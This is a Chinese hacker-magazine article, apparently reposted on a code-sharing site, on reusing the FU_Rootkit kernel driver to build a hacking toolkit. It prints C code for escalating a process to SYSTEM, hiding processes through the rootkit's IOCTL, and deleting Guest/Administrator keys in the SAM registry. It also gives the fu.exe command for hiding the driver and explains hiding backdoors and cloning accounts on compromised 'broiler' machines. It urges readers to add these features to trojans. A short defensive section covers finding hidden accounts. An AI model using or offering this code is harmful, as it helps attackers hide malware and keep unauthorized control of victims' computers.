养在深闺人未识:FU_Rootkit

我在2004年11期黑防上刊登了《小工具巧删Guest/Administrator账户》这篇文章,有不少朋友来信询问工具是如何编写的,其实这个工具里面大部分代码是我拷贝FU_Rootkit过来的。既然朋友们喜欢,这几天我又多了好多想法,那我就来讲讲怎么充分挖掘利用FU_Rootkit吧!

先去www.rootkit.com把FU_Rootkit 给Down下来,以前它在Windows 2000专业版下面提升进程权限有问题,新版本已经修复这个问题。FU_Rootkit也算是“养在深闺人未识”了,比起Hxdef、AFX RootKit来名气小多了,不过是金子终究是要发光的,这不,今天我们就让它来发光了!

FU_Rootkit是开源的,用C语言编写,很容易移植。我的开发环境是Windows 2000+SP4+VC6.0。FU_Rootkit主程序包括2个部分:Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接载入核心内存,Fu.exe则是相应的应用程序。先来看看它的部分功能:

[-pl] xxx 列举所有运行进程

[-ph] #PID 隐藏进程标识符为PID的进程

[-pld] 列举所有载入驱动程序

[-phd] DRIVER_NAME 隐藏指定驱动

[-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM

[-prl] 列出可用的权限名单

[-prs] #PID #privilege_name 提升进程标识符为PID的进程权限至指定权限

[-pss] #PID #account_name 改变进程令牌和SID

可以看出FU_Rootkit不仅可以隐藏进程和驱动,改变进程令牌和SID,还可以例举用Hook技术隐藏的进程和驱动。我们今天要做的就是利用Msdirectx.sys完成我们自己的黑客工具集的编写!

权限提升

有了权限我们才能任意地操作,让电脑为我们实现各种功能,所以第一步首先是权限提升。

我们知道,提升进程权限可以用Psu工具,FU_Rootkit也能够实现这个功能,它可以将任意进程提升到SYSTEM权限——不光可以给其它进程提升权限,还可以把自己的进程也提升为SYSTEM权限哦(在下面的文章中你将可以看到这个功能是多么的有用)!

第一步:载入Msdirectx.sys

具体代码见InitDriver()函数。其实朋友们大可不必完全看懂这些代码,把函数直接拷贝过去就OK了。

第二步:查找进程的PID

代码如下:

const char DESTPROC[19] = "UserManager.exe"; // UserManager.exe是程序的进程名称

AddPrivilege(SE_DEBUG_NAME); //提升进程DEBUG权限

HANDLE hRemoteProcess = NULL;

DWORD pid = ProcessToPID(DESTPROC);//这里的pid就是我们进程PID

// ProcessToPID函数如下:

DWORD ProcessToPID(const char *InputProcessName)

//将进程名转换成进程PID的函数

{

DWORD aProcesses[1024], cbNeeded, cProcesses;

unsigned int i;

HANDLE hProcess = NULL;

HMODULE hMod = NULL;

char szProcessName[MAX_PATH] = "UnknownProcess";

//提升进程权限至DEBUG权限

AddPrivilege(SE_DEBUG_NAME);

// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs

if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )

{

return 0;

}

cProcesses = cbNeeded / sizeof(DWORD);

// 按有效的PID遍历所有的进程

for ( i = 0; i < cProcesses; i++ )

{

// 打开特定PID的进程

hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |

PROCESS_VM_READ,

FALSE, aProcesses[i]);

// 取得特定PID的进程名

if ( hProcess )

{

if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )

{

GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );

//将取得的进程名与输入的进程名比较,如相同则返回进程PID

if(!stricmp(szProcessName, InputProcessName))

{

CloseHandle( hProcess );

return aProcesses[i];

}

}

}//end of if ( hProcess )

}//end of for

//没有找到相应的进程名,返回0

CloseHandle( hProcess );

return 0;

}

第三步:提升进程权限至SYSTEM

具体代码见UpdateToSystem()函数。这样我们的进程UserManager.exe就具备了SYSTEM权限了。

攻击篇

当你得到肉鸡的SYSTEM权限后,当然要把自己的后门进程或驱动器隐藏,然后克隆账号,留个隐藏账号什么的,下面我们就来看看这些功能如何用程序来实现。

1.克隆帐号

各位朋友看到小榕的CA工具是不是很眼馋,想不想自己写一个?在黑防2003年的第7期《C语言克隆账号》上已经有具体介绍。一般来讲,克隆账号的方法有2种:一种是利用系统服务的SYSTEM权限读写SAM文件;第二种是利用驱动提升进程权限。我们这里采用第二种办法。在《C语言克隆账号》一文中,由于其不具备SYSTEM权限,需要手工修改注册表才能够操作注册表SAM文件夹,比较麻烦。在我们这里当然是没有问题的,将其代码COPY过来,粘在我们工程里面就可以了。

2.进程隐藏

进程隐藏实乃木马病毒的必备防身本领,FU_Rootkit中的最基本功能之一就是进程隐藏,首先我们要知道进程的PID或者进程名,然后才能将它隐藏,隐藏代码如下:

DWORD HideProc(DWORD pid)//pid是你要隐藏的进程的PID

{

DWORD d_bytesRead;

DWORD success;

if (!Initialized)

{

return ERROR_NOT_READY;

}

success = DeviceIoControl(gh_Device,

IOCTL_ROOTKIT_HIDEME,

(void *) &pid,

sizeof(DWORD),

NULL,

0,

&d_bytesRead,

NULL);

return success;

}

假如你要想找出隐藏的进程,可以采用工具RTDector0.62工具,黑防以前就介绍过。

3. 驱动隐藏

驱动隐藏?很少见吧。有经验的管理员一般都会使用命令Drivers.exe来查看载入的驱动(Drivers.exe可以在Windows 2000的资源包里面找到),

看到Msdirectx.sys暴露出来了吧?而FU_Rootkit就可以把自己的 Msdirectx.sys隐藏起来,运行的命令是:“C:\fu.exe –phd msdirectx.sys”。当然这个功能我们也可以很轻松地移植到我们的程序中去。

防御篇

千万不要以为FU_Rootkit得到SYSTEM权限只是用来攻击,不能防守,其实Rootkit是一把“双刃剑”,运用得当,同样是防御的好帮手。同时,作为一名菜鸟,当然是防守为先,所以请看防守篇。

1. 系统用户查看

眼下只要翻开一本黑客杂志,经常看到什么“隐藏帐号”、“不死帐号”什么的,吓得我等菜鸟心惊胆颤,经常对着用户管理发呆,究竟有没有问题呢?这里我们可以利用LPUSER_INFO_3读取用户信息,包括用户名、用户全名、用户描述、登录次数、登录权限以及上次登录时间等参数,代码较长而且简单,这里就不贴了,有兴趣的可以查看DWORD CUserManagerDlg::UserALLE()函数。

当然,列举账号可以直接从SAM\\SAM\\Domains\\Account\\Users\\Names\中读取,然后与LPUSER_INFO_3中读出来的账号进行对比,这样就能找出隐藏的账号,将那些隐藏的、不死的统统打回原形,让你把账号看得“清清楚楚,明明白白”。

2. 删除Guest

先来看看如何删除Guest用户吧。获取SYSTEM权限后,只要删除在注册表SAM文件夹中对应的Guest和000001F5文件夹就OK了!

void CUserManagerDlg::Deleteguest()

{

BOOL upResult;

upResult=UpdateToSystem();

//先查看一下进程提示权限至SYSTEM成功没有

if(upResult)//如果权限提升SYSTEM成功的话

{

// 删除GUEST用户!

BOOL dResult;

dResult=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\Names\\Guest");//删除Guest文件夹

BOOL dResult2;

dResult2=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\000001F5");//删除guest对应的ID号000001F5文件夹

if(dResult&&dResult2)

{

AfxMessageBox("成功删除GUEST用户!");

}

else

{

AfxMessageBox("删除GUEST用户失败!");

}

}

else

{

AfxMessageBox("提升至SYSTEM权限失败!");

}

}

其中DelNT()函数是专门定义用来删除注册表子键的函数。

3. 删除Administrator

看到标题你可不要吓一跳,Administrator一般情况下是不能删除的,当然你可以到控制面板->管理工具->计算机管理里面重命名该账户,也可以使用NT Resource Kit提供的Passprop工具启用对Administrator的锁定。我们这里当然要挑战极限:删除Administrator!代码跟删除Guest用户的代码差不多,换个参数就可以了,分别删除注册表SAM文件夹中的Administrator和000001F4文件夹就可以了。而且可以在Administrator当前用户下删除,强吧?嘿嘿。假如你只有这么一个管理员账号的话呢,不好意思,恭喜你:你的机器上从此没有管理员了!

小提示:强烈建议删除Administrator之前一定要先创建一个其它名字的管理员账号!据《微软信息安全文集》中说,删除Administrator和Guest系统内置账户有可能导致破坏SAM数据库,不过《微软信息安全文集》的作者同时声明:经他测试,没有发现副作用。

4. 查杀进程篇

朋友们是否经常遇到这种情况:在任务管理器中发现一个未知进程,并且杀不掉,说是权限不够,这个问题在我们获取System权限后就不再是问题,现在病毒、木马等都是双进程,互相监控,给我们查杀进程带来很大不便,需要我们能够同时查杀多个进程。选用Listview控件作为进程的列举控件,将Checkbox选项选中,这样我们就可以同时选中多个进程进行查杀,爽吧?!

5. 列举用Hook技术隐藏的进程和驱动

这个功能就是FU_Rootkit的过人之处了,可以帮助你查找利用HOOK技术隐藏的进程和木马。实现方法比较简单,大家可以去源码中查看ListProc(void *buffer, int buff_size)和ListDriv(void)函数。

本文利用FU_Rootkit获取SYSTEM权限后,完成了很多实用的黑客小工具, System和Administrator权限一般人看起来感觉都差不多,但在一些与系统内核交互的细节上,可以看出System权限要更大一些。譬如说注册表中的某些文件夹、对物理内存有读写能力等方面。因此,获取System权限后所能做的事情远远不止我们上面所说的这些,希望大家共同挖掘。

http://www.rootkit.com/上有很多开源的好资源,研究并扩展其功能便可以写出很多有用的小软件。将其功能添加到我们小马中去,将会大大提高其生命力。朋友们,现在是不是感觉黑客软件不过如此,人人能写?如果是这样,也不枉费我一番苦心。由于工作关系,时间确实有限,不可能将上面的功能全部一一实现在代码中,其实已经是体力活了,很多功能都只需要把代码COPY进去就可以了。特将删除Guest/Administrator的小工具和FU_Rootkit的代码附上,朋友们升级了可要寄给我一份哦!

(0)

相关推荐

  • 养在深闺人未识:FU_Rootkit

    我在2004年11期黑防上刊登了<小工具巧删Guest/Administrator账户>这篇文章,有不少朋友来信询问工具是如何编写的,其实这个工具里面大部分代码是我拷贝FU_Rootkit过来的.既然朋友们喜欢,这几天我又多了好多想法,那我就来讲讲怎么充分挖掘利用FU_Rootkit吧! 先去www.rootkit.com把FU_Rootkit 给Down下来,以前它在Windows 2000专业版下面提升进程权限有问题,新版本已经修复这个问题.FU_Rootkit也算是"养在深闺人

  • c# WPF如何实现滚动显示的TextBlock

    在我们使用TextBlock进行数据显示时,经常会遇到这样一种情况就是TextBlock的文字内容太多,如果全部显示的话会占据大量的界面,这是我们就会只让其显示一部分,另外的一部分就让其随着时间的推移去滚动进行显示,但是WPF默认提供的TextBlock是不具备这种功能的,那么怎么去实现呢? 其实个人认为思路还是比较清楚的,就是自己定义一个UserControl,然后将WPF简单的元素进行组合,最终实现一个自定义控件,所以我们顺着这个思路就很容易去实现了,我们知道Canvas这个控件可以通过设置

  • ASP.NET Core静态文件的使用方法

    前言 静态文件(HTML,CSS,图片和Javascript之类的资源)会被ASP.NET Core应用直接提供给客户端. 静态文件通常位于网站根目录(web root) <content-root>/wwwroot文件夹下.通常会把项目的当前目录设置为Content root,这样项目的web root就可以在开发阶段被明确. public static IWebHostBuilder CreateWebHostBuilder(string[] args) => WebHost.Cre

  • ASP.NET Core中的静态文件介绍

    静态文件(HTML,CSS,图片和Javascript之类的资源)会被ASP.NET Core应用直接提供给客户端. 静态文件通常位于网站根目录(web root) <content-root>/wwwroot文件夹下.通常会把项目的当前目录设置为Content root,这样项目的web root就可以在开发阶段被明确. public static IWebHostBuilder CreateWebHostBuilder(string[] args) => WebHost.Create

  • java程序员自己的图片转文字OCR识图工具分享

    目录 图片转文字OCR识图工具 只需三个文件 图片转文字OCR识图工具 图片文字识别,只支持在windows上运行,语言自动识别,调用的是百度OCR-API,需要提供百度智能云管理后台的应用的API Key和Secret Key. 打包成jar文件放桌面可以自己用也可以给亲人朋友用. 只需三个文件 即可自己开发一个OCR工具软件: App.java package translate.image; import javax.swing.*; import javax.swing.border.E

  • Vue-router路由判断页面未登录跳转到登录页面的实例

    如下所示: router.beforeEach((to, from, next) => { if (to.matched.some(record => record.meta.requireAuth)){ // 判断该路由是否需要登录权限 if (token) { // 判断当前的token是否存在 next(); } else { next({ path: '/login', query: {redirect: to.fullPath} // 将跳转的路由path作为参数,登录成功后跳转到该

  • Angularjs在初始化未完毕时出现闪烁问题的解决方法分析

    本文实例讲述了Angularjs在初始化未完毕时出现闪烁问题的解决方法.分享给大家供大家参考,具体如下: 方法1: 使用ng-cloak指令,在绑定数据的区域使用该指令并设置该指令的样式为隐藏即可,如下所示: Html: <body ng-controller="QuberController" ng-cloak class="ng-cloak"> Css: .ng-cloak { display: none; } 方法2: 使用ng-bind指令来代替

  • 详解Struts2中对未登录jsp页面实现拦截功能

    Struts2中拦截器大家都很经常使用,但是拦截器只能拦截action不能拦截jsp页面.这个时候就有点尴尬了,按道理来说没登录的用户只能看login界面不能够通过输入URL进行界面跳转,这显然是不合理的.这里介绍Struts2中Filter实现jsp页面拦截的功能.(有兴趣的人可以去研究Filter过滤器的其它用法,因为利用过滤器也可以实现action拦截的功能) 下面直接上代码,边看边分析实现步骤和原理. 1.web.xml中的配置信息: <filter> <filter-name&

  • XML解析错误:未组织好 的解决办法

    主要问题:XML文件完整,在liunx系统下可正常显示,但是windows系统提示出错, I use iis to develope a new .net website. I promise the code is right, but most pages running in Firefox 2.0 reported this error: 复制代码 代码如下: XML解析错误:未组织好 位置:http://localhost/Lanxum/dTeam.aspx 行:1,列:2 < %@

  • DOS未公开的命令与参数

    DOS系统中有许多未公开的命令与参数.我经过收集整理,发现了很多.由于DOS的有好几种,所以下面仅以MS-DOS为例,介绍一下常用命令中的未公开 的命令与参数.经过比较,我发现在MS-DOS的各版本中,7.x版中的未公开命令与参数是最多的,这些7.x版本中的未公开命令与参数在其它DOS版本 中通常是没有的,但却是非常实用的,例如COMMAND /Z命令,这是用DOS自带的命令显示ERRORLEVEL(错误返回代码)值的唯一方法(当然,用其它的附加工具,如ERR2ENV等也可以做到). DOS未公

随机推荐